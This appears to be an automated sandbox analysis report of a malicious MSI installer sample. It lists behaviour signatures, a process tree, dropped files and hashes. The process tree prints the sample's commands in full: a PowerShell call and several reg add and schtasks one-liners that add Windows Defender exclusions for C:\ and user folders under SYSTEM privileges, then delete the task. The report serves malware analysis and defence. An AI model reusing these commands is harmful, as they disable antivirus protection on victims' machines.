Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 01:06

General

  • Target
    install_s0up005.msi
  • Size 7.7MB
  • Sample260802-bf55ksbc36
  • SHA256 82052ffcb866d43deb7264734c761344c095a236175105116834a6042f6c17a7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up005.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4136
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5304
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 33DE970045D988F6A58AD7D4A5144AE5 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2788
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:2256
  • C:\Users\Public\9p6Qxp\qGSOeI.exe
    "C:\Users\Public\9p6Qxp\qGSOeI.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:1516
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\9p6Qxp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4212
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\9p6Qxp\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4132
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4952
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4368
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3656
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3988
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4692
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3800
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1880
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4820
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4920
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1956
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4616
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4848
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5144
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5408
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:4992
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5780
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1228
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5892
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\9p6Qxp" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:3740
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\9p6Qxp" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:3984
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5048
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:4316
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:2272
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:5084
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:1672
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:2056
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:6076
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:1140
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:3580

                                  Network

                                        MITRE ATT&CK Enterprise v16

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                                        Downloads

                                        e598cb7.rbs

                                        • Path C:\Config.Msi\e598cb7.rbs
                                        • Size 7KB
                                        • SHA256 7a612bc3800833027f253d5f32fe8df62bd476b2aae8fc379d965e154241efd6
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\9p6Qxp\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 f197ff73a3fc42366b6d74891e06a348c2a7ebe2ff0fe19cc02f259feb50b7de
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\9p6Qxp\adoresd.dat
                                        • Size 4.7MB
                                        • SHA256 b6fd6455f20b94c7e343705e1e927439204d8d24432001022a9e445d26b8377d
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\9p6Qxp\msadox.tb
                                        • Size 8KB
                                        • SHA256 bbdc16b217095caf2b90cd61fd0ed23f148f77a95bd570c2fcfb5b61bf5afbe2
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        qGSOeI.exe

                                        • Path C:\Users\Public\9p6Qxp\qGSOeI.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        MSI92C1.tmp

                                        • Path C:\Windows\Installer\MSI92C1.tmp
                                        • Size 7.6MB
                                        • SHA256 1f6b8a0b0fb5bc11fa65065d8c056edf4a03f2f1cd7bd2d998dd3c9395d1e57f
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        e598cb6.msi

                                        • Path C:\Windows\Installer\e598cb6.msi
                                        • Size 7.7MB
                                        • SHA256 82052ffcb866d43deb7264734c761344c095a236175105116834a6042f6c17a7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        metadata-2

                                        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                        • Size 26.1MB
                                        • SHA256 da6bd85d4d60dd481e9941f4841974bebdb11c0ab2acb98d89b1ad48a8bdae6f
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        {3b6f1c4f-ac44-483c-843f-5eab87137c33}_OnDiskSnapshotProp

                                        • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{3b6f1c4f-ac44-483c-843f-5eab87137c33}_OnDiskSnapshotProp
                                        • Size 6KB
                                        • SHA256 dc972ea60379efdc587bdbe2a0ab3e261a4ef81cf0d038e804f74035a8447d4a
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/1516-98-0x000001FBE7550000-0x000001FBE7572000-memory.dmp

                                        memory/1516-103-0x000001FBE75E0000-0x000001FBE75EA000-memory.dmp

                                        memory/1516-102-0x000001FBFFB50000-0x000001FBFFC02000-memory.dmp

                                        memory/1516-101-0x000001FBE75C0000-0x000001FBE75DE000-memory.dmp

                                        memory/2788-42-0x00007FFCEF8A0000-0x00007FFCEF8B2000-memory.dmp

                                        memory/2788-16-0x00007FFCEF8A0000-0x00007FFCEF8B2000-memory.dmp

                                        memory/2788-13-0x00007FFCD4300000-0x00007FFCD4934000-memory.dmp

                                        memory/2788-12-0x00007FFCF8050000-0x00007FFCF8052000-memory.dmp

                                        memory/3928-64-0x00007FFCF8060000-0x00007FFCF8062000-memory.dmp

                                        memory/3928-71-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-69-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-70-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-72-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-76-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-87-0x000001D88DD50000-0x000001D88DDDA000-memory.dmp

                                        memory/3928-86-0x000001D88DD50000-0x000001D88DDDA000-memory.dmp

                                        memory/3928-85-0x000001D88DD50000-0x000001D88DDDA000-memory.dmp

                                        memory/3928-84-0x000001D88DD50000-0x000001D88DDDA000-memory.dmp

                                        memory/3928-82-0x000001D88CA10000-0x000001D88CA5E000-memory.dmp

                                        memory/3928-89-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-92-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-65-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-62-0x000001D88D420000-0x000001D88DCB1000-memory.dmp

                                        memory/3928-56-0x00007FFCF8050000-0x00007FFCF8052000-memory.dmp

                                        memory/3928-57-0x00007FFCD4420000-0x00007FFCD493E000-memory.dmp